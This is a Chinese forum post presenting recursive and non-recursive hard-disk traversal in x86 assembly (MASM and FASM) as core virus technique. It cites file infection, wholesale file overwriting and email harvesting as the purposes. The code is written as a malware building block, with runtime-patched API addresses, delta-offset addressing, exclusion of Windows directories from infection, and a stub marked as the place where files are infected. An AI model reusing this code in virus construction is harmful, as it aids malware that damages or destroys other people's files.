返回列表 发帖

硬盘递归及非递归搜索技术

第一部分 硬盘递归搜索技术
一、遍历硬盘的必要性
1.有些病毒如FunLove要感染硬盘上所有符合条件的exe,scr文件,就要遍历硬盘,找到所有文件。
2.有的病毒要覆盖硬盘所有文件如Worm.Opasoft.d(硬盘杀手),也要遍历硬盘,向找到的每个文件写入随机数据。
3.要搜索某种信息,如利用邮件传播的蠕虫常常搜索htm*文件来得到邮件地址,也要遍历硬盘。
由此可见,遍历硬盘技术在病毒技术中是十分重要的。实现手段上可分为递归和非递归方法,本文讨论的是前者。
为了通用性,函数可以指定目录和文件类型。
二. 遍历硬盘函数
EnumDisk 遍历分区.可以这样使用:
   Push     File_EXE  ; File_HTM etc.
   @pushsz  ‘c:’       ;若想从a盘开始,@pushsz ‘a:’      
   call      EnumDisk

EnumDisk  PROC  DirName : DWORD,FileType : DWORD
        
       .REPEAT      
               push  FileType
               push  DirName
               call   EnumDir
                           
               mov   eax , DirName
               inc    byte ptr [eax]              
               mov   al,byte ptr[eax]      
       .UNTIL  al > 'z'
       mov  byte ptr [eax] , 'c'      
       ret  8      
EnumDisk  ENDP

EnumDir遍历指定目录,可以看出,EnumDir并没有遍历指定文件类型而是所有文件,这是因为如果固定了类型,
则只能在当前目录下搜索,会跳过目录,从而就不会递归了,具体分析找到的文件,由AnalyseFileExt完成。
FindFirstFile,FindNextFile等函数请参见MSDN。
         
EnumDir PROC   DirName : DWORD , FileType:DWORD

        LOCAL   hSearch               :  DWORD
        LOCAL   DirorFile[MAX_PATH]  :  DWORD

        pushad         
        push    DirName
        lea     esi,DirorFile
        push    esi
        mov    eax , 12345678h
_lstrcpy         = dword ptr $-4
        call    eax  
               
        @pushsz '\*.*'
        push    esi                          ;DirorFile
        call    _lstrcat[ebx]
         
        lea    edi,[offset wfd+ebx]
        push   edi
        push   esi
        mov   eax , 12345678h
_FindFirstFile   =  dword ptr $-4
        call    eax         
        cmp   eax,INVALID_HANDLE_VALUE      
        jz     ED_Exit
        mov   hSearch,eax

        .REPEAT
            .if    byte ptr [wfd+44+ebx]=='.'
                  jmp short EN_NEXT
            .endif

            push    DirName
            push    esi
            call    _lstrcpy[ebx]

            @pushsz '\'
            push    esi
            call    _lstrcat[ebx]
           
            lea     eax,[wfd+44+ebx]
            push    eax
            push    esi                        ;DirorFile
            call    _lstrcat[ebx]

            mov     eax , dword ptr [wfd+ebx]
            and     eax , FILE_ATTRIBUTE_DIRECTORY
            .if     eax ==FILE_ATTRIBUTE_DIRECTORY
                    push   dword ptr FileType
                    push   esi
                    call   EnumDir
            .else                                   
            
                    push   dword ptr FileType
                    push   esi
                    call   AnalyseFileExt            ;分析找到的文件
            .endif         
EN_NEXT:   
            push   edi                    
            push   hSearch
            mov    eax , 12345678h
_FindNextFile      = dword ptr $-4
            call   eax  
            
        .UNTIL  eax==0                ;FindNexeFile fail
        
ED_Close:
         push   hSearch
         mov    eax , 12345678h
_FindClose      = dword ptr $-4
         call   eax           
ED_Exit:   
         popad
         ret   8
EnumDir ENDP

硬盘递归及非递归搜索技术

第二部分 硬盘非递归搜索技术
第一部分PKXP介绍了硬盘的递归搜索技术,本部分介绍非递归搜索硬盘的技术,非递归搜索技术和递归搜索技术是类似的,其不同处在于递归搜索是利用堆栈存储目录及文件数据,而非递归搜索是利用自己分配的缓冲区存储数据,相比之下这种方法更加灵活,但需要的代码量稍大。可以使用单向链表或双向链表或其他结构,但最常使用的是双向链表。
其主要思想是用非递归方法模拟递归过程,具体代码如下。
下面是一段示例代码,只是起演示说明作用,用FASM编写:
        gMem    dd 0
        infNum  dd 10
        pBuf    dd 0
        curDrive db 'A:\',0
;-----------------------------------------
struc SXD{
        .prev dd 0
        .hcur  dd 0
        .WF32    WIN32_FIND_DATA
        .size=$-.prev
}
virtual at 0
sxd     SXD
end virtual

serchxdisk:
      
        invoke     ebp+aGlobalAlloc-@@0,GMEM_FIXED,256
        jeaxz    not_mem_file_exit
        mov     [ebp+gMem-@@0],eax
        invoke     ebp+aGetCurrentDirectory-@@0,256,eax    ;保存原目录
        lea     eax,[ebp+curDrive-@@0]
        invoke     ebp+aSetCurrentDirectory-@@0,EAX
        
        invoke     ebp+aGlobalAlloc-@@0,GMEM_FIXED,sxd.size
        jeaxz    find_exit
        xchg     esi,eax
        mov     [esi+sxd.prev],0
        
    find_first_file:
        push     '*.*'
        mov      eax,esp
        lea      ebx,[esi+sxd.WF32]
        invoke     ebp+aFindFirstFile-@@0,eax,ebx
        pop      ecx
        mov      [esi+sxd.hcur],eax
        jeaxz    find_file_prev

    dir_test:                                  ;是否是目录?
        mov     eax,[ebx+w32fd.dwFileAttributes]
        lea     edi,[esi+sxd.WF32.cFileName]
        test    eax,FILE_ATTRIBUTE_DIRECTORY
        je      file_test
        cmp     B [edi],'.'                     ;skip '.' and '..' directories
        je      find_file_next
        mov     eax,[edi]
        or      eax,20202020h
        
        cmp     eax,'winn'                     ;排除感染winn*或wind*目录。。。。
        je      find_file_next
        cmp     eax,'wind'
        je      find_file_next
        invoke     ebp+aSetCurrentDirectory-@@0,edi
        xchg    ecx,eax
        jecxz   find_file_next
        invoke     ebp+aVirtualAlloc-@@0,0,sxd.size,MEM_COMMIT,PAGE_READWRITE   
        
        xchg    ecx,eax
        jecxz   step_updir
        xchg    esi,ecx
        mov     [esi+sxd.prev],ecx
        jmp     find_first_file  
   
    find_exit:
        mov     eax,[ebp+gMem-@@0]
        push    eax
        invoke     ebp+aSetCurrentDirectory-@@0,EAX   ;恢复原目录
        call  [ebp+aGlobalFree-@@0]
    not_mem_file_exit:
        ret
        ;-------------------------------------
    find_file_next:
        lea     ebx,[esi+sxd.WF32]
        mov     edi,[esi+sxd.hcur]
        invoke     ebp+aFindNextFile-@@0,edi,ebx
        jeaxnz  dir_test
        
        invoke     ebp+aFindClose-@@0,edi
        
    find_file_prev:  
        push    MEM_RELEASE
        push    sxd.size
        push    esi
        mov     esi,[esi+sxd.prev]
        
        call    [ebp+aVirtualFree-@@0]
        or      esi,esi
        je      find_exit
    step_updir:
        push    '..'
        push    esp
        call    [ebp+aSetCurrentDirectory-@@0]
        pop     eax
        jmp     find_file_next

    file_test:
       ;这里检验并试图感染文件...
        jmp     find_file_next

TOP

返回列表 回复 发帖